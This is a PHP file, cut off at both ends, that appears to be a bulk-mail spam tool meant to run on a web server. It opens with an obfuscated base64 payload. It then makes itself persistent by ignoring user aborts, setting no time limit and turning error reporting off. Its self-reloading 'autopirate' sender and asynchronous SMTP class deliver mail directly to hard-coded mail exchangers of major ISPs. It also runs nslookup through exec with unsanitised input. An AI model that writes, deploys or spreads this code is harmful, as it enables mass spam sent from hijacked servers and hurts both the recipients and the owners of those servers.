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"))); //@ini_set('error_log',NULL); //@ini_set('log_errors',0); $serverData = phpversion()." ".get_current_user()."<br>|||".php_uname(); header( 'Content-type: text/html; charset=utf-8' ); ignore_user_abort(true); error_reporting(0); session_start(); @ini_set('max_execution_time',0); @set_time_limit(0); chdir("/var/tmp"); ################################################### #| ##### # # ### ### ##### #### #### |# #| # # # # [] # # # # # # # # |# #| #### #### [] # # # # # #### #### |# #| # # # [] # # # # # # |# #| #### #### # # ##### #### #### |# ################################################### //watcher to prevent sender from stopping from start to //finish of autopirate. if (isset($_GET['mode'])) { //load the main sender in a frame and keep an eye on it //any time it fails to load, simply reload it. ?> <!DOCTYPE html> <html> <head> <title>..</title> <?php echo "<script>console.log('$serverData');</script>";?> </head> <body style="background-color: #000000;overflow-x: hidden;"> <a href="javascript:frameElem.contentWindow.pirate()" style="color:white;"><u>Continue Ahoy!!</u></a><br> <a href="javascript:loadMessage()" style="color:white;"><u>Load Message</u></a> <a href="javascript:saveMessage()" style="color:white;"><u>Save Message</u></a> <br><br> <a href="javascript:void()" onclick="delete localStorage.localUrl;return false" style="color:white;"><u>Reset Loader</u></a> <br><br> <a href="javascript:pauseSending()" style="color:white;"><u>Pause Sending</u></a> <span id="pivot"></span> <script type="text/javascript"> document.title = '..'+document.domain; localStorage.silence="no"; window.addEventListener("message", loader, false); //storePirate = frameElem.contentWindow.pirate; function pauseSending(){ frameElem.contentWindow.pirate = function(){}; frameElem.contentWindow.submitForm = function(){}; frameElem.contentWindow.stop(); } function loader(event){ console.log(event.data); data = event.data; if (typeof data.mails != 'undefined') { localStorage.lastBatch += data.mails.replace('\\\\n',"\n"); }else if (typeof data.mailerObject != 'undefined') { localStorage.mailerObject = data.mailerObject; location.reload(); } } function loadMails(){ localUrl = localStorage.localUrl; messageId = localStorage.messageId; if (localUrl!=null) { if (typeof localElem == 'undefined') { embedLoader(localUrl); } setTimeout(function() { localElem.contentWindow.postMessage({emailsFile: messageId+"mails.txt"},"*"); }, 2000); } } function loadMessage(){ if (typeof localStorage.localUrl != 'undefined') { localUrl = localStorage.localUrl; messageId = localStorage.messageId; }else{ localUrl = prompt("please enter loader url:"); messageId = prompt("Please enter message id"); } localStorage.localUrl = localUrl; localStorage.messageId = messageId; if (localUrl!=null) { if (typeof localElem == 'undefined') { embedLoader(localUrl); } setTimeout(function() { localElem.contentWindow.postMessage({id: messageId, loadMessage:""},"*"); }, 2000); } } function saveMessage(){ if (typeof localStorage.localUrl != 'undefined') { localUrl = localStorage.localUrl; messageId = localStorage.messageId; }else{ localUrl = prompt("please enter loader url:"); messageId = prompt("Please enter message id"); } localStorage.localUrl = localUrl; localStorage.messageId = messageId; if (localUrl!=null) { if (typeof localElem == 'undefined') { embedLoader(localUrl); } setTimeout(function() { localElem.contentWindow.postMessage({id: messageId, messageContent: localStorage.mailerObject, saveMessage:""},"*"); }, 2000); } } function embedLoader(loaderUrl){ localElem = document.createElement("iframe"); localElem.setAttribute("src",loaderUrl); //frameElem.setAttribute("width", screen.width); //frameElem.setAttribute("height", screen.height+23); localElem.setAttribute("style", "margin:0;padding:0;width:0;height:0;display: block;"); localElem.setAttribute("frameborder", 0); dspan = document.getElementById('pivot'); dspan.appendChild(localElem); } function log(what){ if (typeof localStorage.silence!= 'undefined' && localStorage.silence != 'yes' ) { console.log(what); } } function Timeout(fn, interval) { var id = setTimeout(fn, interval); this.cleared = false; this.clear = function () { this.cleared = true; clearTimeout(id); //if (typeof run != 'undefined') {run['code']();} }; } function frameLoadedAct(){ if (typeof reloaderObject=='undefined' || reloaderObject.cleared==true) { frameElem.contentWindow.startChecking = 1; return; } try{ top.reloaderObject.clear(); }catch(e){} //load babysitter if not active if (window.babySitter=='away') { setTimeout(function() {babySit(frameElem);storePirate = frameElem.contentWindow.pirate;storeSubmitForm = frameElem.contentWindow.submitForm}, 10000); } } function reloadSenda(){ //destroy worker and remake it log("reloading sender"); frameElem.remove(); setTimeout(function() {embedWorker()}, 3000); if (typeof(localStorage.numberOfReloads)!='undefined') { localStorage.numberOfReloads = parseInt(localStorage.numberOfReloads) + 1; } //keep reloading sender till a successfully loaded senda cancels timer top.reloaderObject = new Timeout(function () { reloadSenda(); }, 15000); } function isEven(value){ value = parseInt(value); if (value!=0 && value%2==0) { return true; } return false; } //function to periodically check the child frame's status function babySit(elem){ log('checking'); if (typeof localStorage.failTimes=='undefined') { localStorage.failTimes = 0; } try{ if (elem.contentDocument == null && isEven(localStorage.failTimes)==true) { //failed to load lets reload page log("loading failed... will reload"); localStorage.continue = 'yes'; localStorage.failTimes = parseInt(localStorage.failTimes) + 1 ; setTimeout(function() {reloadSenda();}, 2000); window.babySitter = 'away'; }else if (elem.contentDocument.title=='Header Maila' || isEven(localStorage.failTimes)==false) { //ok, check again in six seconds. localStorage.failTimes = isEven(localStorage.failTimes) ? parseInt(localStorage.failTimes) : parseInt(localStorage.failTimes) + 1; log('everything is ok for now... will check again soon'); setTimeout(function() {babySit(elem)}, 6000); window.babySitter = 'here'; }else{ //probably doesn't exist? htmlCode = elem.contentDocument.head.innerHTML + elem.contentDocument.body.innerHTML if ( htmlCode.match(/404|403|Not\sFound/)===null && isEven(localStorage.failTimes) ) { //other error, just try again log("strange server side error... will reload"); localStorage.continue = 'yes'; localStorage.failTimes = parseInt(localStorage.failTimes) + 1 ; setTimeout(function() {reloadSenda();}, 2000); window.babySitter = 'away'; }else if(isEven(localStorage.failTimes)){ //nope doesn't exist. stop trying. log('doesn\'t exist sorry )-;'); } } }catch(e){ if (isEven(localStorage.failTimes)==true) { log('probably failed to load...will reload.'); localStorage.continue = 'yes'; localStorage.failTimes = parseInt(localStorage.failTimes) + 1 ; setTimeout(function() {reloadSenda();}, 2000); window.babySitter = 'away'; } } } function resilientPirate(){ try{ log("resilient pirate called pirate"); frameElem.contentWindow.pirate(); }catch(e){ setTimeout(function() {resilientPirate()}, 3000); } } function embedWorker(){ myUri = location.href; frameUrl = myUri.replace('&mode','&mode9').replace('?mode','?mode9'); frameElem = document.createElement("iframe"); frameElem.setAttribute("src",frameUrl); //frameElem.setAttribute("width", screen.width); //frameElem.setAttribute("height", screen.height+23); frameElem.setAttribute("style", "margin:0;padding:0;width:110vw;height:100vh;display: block;"); frameElem.setAttribute("frameborder", 0); dspan = document.getElementById('pivot'); dspan.appendChild(frameElem); //was relying on frameElem onload but it's not reliable enough //so now using a 15 seconds timeout. //page should have finished loading within a minute //if not just start up the babysitter and let it reload d page. /*setTimeout(function() { if (typeof reloaderObject=='undefined' || reloaderObject.cleared==true) { setTimeout(function() {babySit(frameElem)}, 6000); resilientPirate(); } }, 6000);*/ } embedWorker(); setTimeout(function() {babySit(frameElem);storePirate = frameElem.contentWindow.pirate;storeSubmitForm = frameElem.contentWindow.submitForm}, 10000); //continue an interrupted sending </script> </body> </html> <?php } class Smtpasync{ public $from; public $to; public $messageHeaderBody; public $talk; public $serverName; public $smtpFrom; public $socket; public $stage; public $subStage; public $nextStage; public $pollSubStage; public $lastLine; public $index; private $talkKey; private $port; private $sec; private $usec; private $hosts; private $readBuffer; private $writeBuffer; private $domain; private $currentHost; private $sendStatus; /** * Class constructor. */ public function __construct($index, $smtp_from, $from, $to, $messageHeaderBody){ $this->from = $from; $this->index = $index; $this->to = $to; $this->talk = array(); $this->messageHeaderBody = $messageHeaderBody; $this->serverName = isset($_SERVER['SERVER_ADDR'])?gethostbyaddr($_SERVER['SERVER_ADDR']):gethostbyaddr($_SERVER['LOCAL_ADDR']); $this->smtpFrom = str_replace("{{hostname}}", $this->serverName, $smtp_from); $this->pollSubStage = 1; $this->subStage = 1; $this->sec = 0; $this->usec = 10000; $this->readBuffer = ""; $this->port = 25; $this->stage = "connect"; return $this; } public function getmxrrr(){ $toParts = explode("@", $this->to); $this->domain = $toParts[1]; $mxCache = array(); $mxCache['adelphia.net'] = array('dnvrco-cmedge02.email.rr.com','dnvrco-cmedge01.email.rr.com'); $mxCache['att.biz'] = array('mx2c45.carrierzone.com','mx1c45.carrierzone.com','mx4c45.carrierzone.com','mx3c45.carrierzone.com'); $mxCache['attinet.com'] = array('mx-110.reflexion.net','mx-100.reflexion.net','asp.reflexion.net'); $mxCache['att.net'] = array('ff-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip2.prodigy.net','ff-ip4-mx-vip1.prodigy.net','al-ip4-mx-vip1.prodigy.net'); $mxCache['bellsouth.net'] = array('ff-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip1.prodigy.net','ff-ip4-mx-vip1.prodigy.net'); $mxCache['charter.com'] = array('mail.chartercom.com','nce.mail.chartercom.com'); $mxCache['charterinternet.net'] = array('mail.charterinternet.com'); $mxCache['charter.net'] = array('mx0.charter.net'); $mxCache['comcast.com'] = array('mxa-00143702.gslb.pphosted.com','mxb-00143702.gslb.pphosted.com'); $mxCache['comcast.net'] = array('mx1.comcast.net','mx2.comcast.net'); $mxCache['cox.com'] = array('mxb-002b3901.gslb.pphosted.com','mxa-002b3901.gslb.pphosted.com'); $mxCache['coxinet.com'] = array('mail.h-email.net'); $mxCache['coxinet.net'] = array('mx.coxmail.com'); $mxCache['cox.net'] = array('cxr.mx.a.cloudfilter.net'); $mxCache['cs.com'] = array('mx-aol.mail.gm0.yahoodns.net'); $mxCache['earthlink.com'] = array('mx9.earthlink.net','mx6.earthlink.net','mx7.earthlink.net','mx8.earthlink.net'); $mxCache['earthlink.net'] = array('mx8.earthlink.net','mx7.earthlink.net','mx6.earthlink.net','mx9.earthlink.net'); $mxCache['excite.com'] = array('mail-in-excite.roc2.bluetie.com'); $mxCache['juno.com'] = array('mx.vgs.untd.com','mx.dca.untd.com'); $mxCache['juno.net'] = array('other.juno.com'); $mxCache['netscape.com'] = array('mail.netscape.everyone.net'); $mxCache['netscape.net'] = array('mx-aol.mail.gm0.yahoodns.net'); $mxCache['netzero.com'] = array('mx.dca.untd.com','mx.vgs.untd.com'); $mxCache['netzero.net'] = array('mx.dca.untd.com','mx.vgs.untd.com'); $mxCache['peoplepc.com'] = array('mx6.earthlink.net','mx9.earthlink.net','mx8.earthlink.net','mx7.earthlink.net'); $mxCache['sbcglobal.net'] = array('al-ip4-mx-vip1.prodigy.net','ff-ip4-mx-vip1.prodigy.net','ff-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip2.prodigy.net'); $mxCache['verizon.net'] = array('mx-aol.mail.gm0.yahoodns.net'); $mxCache['worldnet.att'] = array('ff-ip4-mx-vip2.prodigy.net','ff-ip4-mx-vip1.prodigy.net','al-ip4-mx-vip2.prodigy.net','al-ip4-mx-vip1.prodigy.net'); $mxCache['gmail.com'] = array('gmail-smtp-in.l.google.com','alt1.gmail-smtp-in.l.google.com','alt2.gmail-smtp-in.l.google.com','alt3.gmail-smtp-in.l.google.com','alt4.gmail-smtp-in.l.google.com'); $hosts = array(); if (isset($mxCache[$this->domain])) { $this->hosts = $mxCache[$this->domain]; $hosts = $mxCache[$this->domain]; //echo "1\n"; }elseif(isset($_SESSION[$this->domain])){ $hosts = explode(",", $_SESSION[$this->domain]); }else{ if(getmxrr($this->domain,$hosts)){ //echo "2\n"; }elseif ($this->enabled_fun('exec')) { $this->getmxr3($this->domain, $hosts); //echo "3\n"; } } //var_dump($hosts); if(empty($hosts)){ echo $this->talk["banner"] = "couldn't get mx record for $this->to<br>"; }else{ $_SESSION[$this->domain] = implode(",", $hosts); } $this->hosts = $hosts; } public function getmxr3($hostname, &$mxhosts, array &$mxweight=null){ $mxhosts = array(); exec('nslookup -type=mx '.$hostname, $result_arr); foreach($result_arr as $line){ if (preg_match("/.*mail exchanger = (.*)/", $line, $matches)) { $s_xo=explode(' ', $matches[1]); $mxhosts[] = $s_xo[1]; $mxweight[] = $s_xo[0]; } } return $mxhosts; } public function enabled_fun($func) { $disabled = explode(',', ini_get('disable_functions')); return !in_array($func, $disabled); } public function checkIfLastLine(){ $searchList = array("\r\n", "\r"); $replaceList = array("\n", "\n"); $lines = explode("\n", str_replace($searchList, $replaceList, $this->readBuffer)); foreach ($lines as $line) { if(substr($line, 0, 4) == "250 " || stripos(substr($line, 0, 4), " ")!==false){ $this->lastLine = $line; return true; } } return false; } public function connect(){ if (!is_array($this->hosts)) { $this->getmxrrr(); } $this->currentHost = array_shift($this->hosts); if (is_null($this->currentHost)) { return false; } $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$this->socket) { die("socket_create() failed: reason: " .socket_strerror(socket_last_error())); $this->talk["banner"] = socket_strerror(socket_last_error()); return false; } socket_set_nonblock($this->socket); @socket_connect($this->socket, $this->currentHost, $this->port); $this->currentHost = array_shift($this->hosts);//for next call $this->stage = "banner"; return true; } public function pollRead(){ switch ($this->pollSubStage) { case 1: //$readSockets = array($this->socket); //$writeSockets = array(); //$exceptionSockets = array($this->socket); //$sec = $this->sec; //$usec = $this->usec; $stat = 0; $buf = ""; $x= 0; $status = ""; //$numChangedSockets = socket_select($readSockets, $writeSockets, $exceptionSockets, $sec, $usec); $readSockets = array($this->socket); switch (true) { case !empty($readSockets): $numBytes = socket_recv($readSockets[0], $buf, 1024, MSG_DONTWAIT); //if we couldn't read any bytes ensure we come back here without resubmiting socket $this->readBuffer .= $buf; if (is_bool($numBytes) || !$this->checkIfLastLine() || $this->readBuffer == "") { //sleep(0.5); return null; } $this->talk[$this->talkKey] .= $this->readBuffer; $this->readBuffer = ""; $this->pollSubStage = 1; $this->stage = $this->nextStage; // var_dump($buf); //if (is_bool($numBytes)) { // $this->readBuffer = ""; // $this->stage = $this->nextStage; // $this->pollSubStage = 1; //} break; } break; case 2: $numBytes = socket_recv($this->socket, $buf, 1024, MSG_DONTWAIT|MSG_OOB); $this->talk[$this->talkKey] .= $buf; if (is_bool($numBytes)) { $this->readBuffer = ""; $this->stage = $this->nextStage; $this->pollSubStage = 1; } break; } return true; } public function pollWrite(){ switch ($this->pollSubStage) { case 1: //$readSockets = array(); //$writeSockets = array($this->socket); //$exceptionSockets = array($this->socket); //$sec = $this->sec; //$usec = $this->usec; $stat = 0; $buf = ""; //$numChangedSockets = socket_select($readSockets, $writeSockets, $exceptionSockets, $sec, $usec); //if ($numChangedSockets > 0) { $writeSockets = array($this->socket); switch (true) { case !empty($writeSockets): $numWrittenBytes = @socket_write($this->socket, $this->writeBuffer); if (is_numeric($numWrittenBytes) && $numWrittenBytes > 0) { $this->writeBuffer = substr($this->writeBuffer, $numWrittenBytes); } if (strlen($this->writeBuffer)==0) { $this->stage = $this->nextStage; $this->pollSubStage = 1; return true; } break; } //} break; } return true; } public function errorOccured($status){ //var_dump($status); $searchList = array("\r\n", "\r"); $replaceList = array("\n", "\n"); $lines = explode("\n", str_replace($searchList, $replaceList, $status)); $errorCodes = array("4","5"); foreach ($lines as $line) { $responseCode = substr($line, 0, 1); //echo "$responseCode $line<br>"; if (in_array($responseCode, $errorCodes)) { return true; } } return false; } public function quitConnection(){ if ($this->socket) { socket_close($this->socket); } } public function writeReadCheck($stage, $talkIndex, $writeData, $nextStage){ switch(true){ case $this->subStage == 1: $this->stage = "pollWrite"; $this->writeBuffer = $writeData; $this->nextStage = $stage; $this->subStage = 2; break; case $this->subStage == 2: $this->stage = "pollRead"; $this->talkKey = $talkIndex; $this->nextStage = $stage; $this->subStage = 3; break; case $this->subStage == 3: //echo "executed 3"; if ($this->errorOccured($this->talk[$talkIndex])) { $this->quitConnection(); return false; } $this->stage = $nextStage; $this->subStage = 1; break; } return true; } public function banner(){ switch (true) { case $this->subStage == 1: $this->stage = "pollRead"; $this->talkKey = "banner"; $this->nextStage = "banner"; $this->subStage = 2; break; case $this->subStage == 2: if ($this->errorOccured($this->talk["banner"])) { $this->talk["connect"] .= " 555 an error occured during first banner read".socket_strerror(socket_last_error($this->socket)); if(!empty($this->hosts)){ $this->stage = "connect"; $this->subStage = 1; return true; } $this->quitConnection(); return false; } $this->hosts = array(); $this->stage = "pollWrite"; $this->writeBuffer = "EHLO ".$this->serverName."\r\n"; $this->nextStage = "banner"; $this->subStage = 3; break; case $this->subStage == 3: $this->stage = "pollRead"; $this->talkKey = "hello"; $this->nextStage = "banner"; $this->subStage = 4; break; case $this->subStage == 4: if ($this->errorOccured($this->talk["hello"])) { $this->quitConnection(); return false; } if (strpos($talk['hello'], '250')===false) { $this->stage = "pollWrite"; $this->writeBuffer = "HELO ".$this->serverName."\r\n"; $this->nextStage = "banner"; $this->subStage = 5; }else{ $this->stage = "from"; $this->subStage = 1; } break; case $this->subStage == 5: $this->stage = "pollRead"; $this->talkKey = "hello"; $this->nextStage = "banner"; $this->subStage = 6; break; case $this->subStage == 6: if ($this->errorOccured($this->talk["hello"])) { $this->talk["hello"] .= "error occurred during hello ".socket_strerror(socket_last_error($this->socket)); $this->quitConnection(); return false; } $this->stage = "from"; $this->subStage = 1; break; } return true; } public function run(){ switch ($this->stage){ case 'connect': return $this->connect(); break; case 'pollRead': return $this->pollRead(); break; case 'pollWrite': return $this->pollWrite(); break; case 'banner': return $this->banner(); break; case 'from': return $this->writeReadCheck("from", "from", "MAIL FROM:<$this->smtpFrom>\r\n", "to"); break; case 'to': return $this->writeReadCheck("to", "to", "RCPT TO: <".$this->to.">\r\n", "data"); break; case 'data': return $this->writeReadCheck("data", "data", "DATA\r\n", "send"); break; case 'send': $this->sendStatus = $this->writeReadCheck("send", "send", $this->messageHeaderBody."\r\n.\r\n", "quit");//should quit connection once done return $this->sendStatus; break; case "quit": $this->quitConnection(); return false; break; } } } if (isset($_GET['sess_id'])) { session_start($_GET['sess_id']); } $SMTPINhold = fsockopen ($smtpServer, $smtpPort); $SMTPIN = false; $nextTo = ''; function startTLS($connection){ if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false; } //Allow the best TLS version(s) we can $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2STREAM_CRYPTO_METHOD_TLS_CLIENT //so add them back in manually if we can if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; } // Begin encrypted connection //*set_error_handler([$this, 'errorHandler']); $crypto_ok = stream_socket_enable_crypto( $connection, true, $crypto_method ); //*restore_error_handler(); return $connection; } function getmxr3($hostname, &$mxhosts, array &$mxweight=null) { $mxhosts = array(); exec('nslookup -type=mx '.$hostname, $result_arr); foreach($result_arr as $line) { if 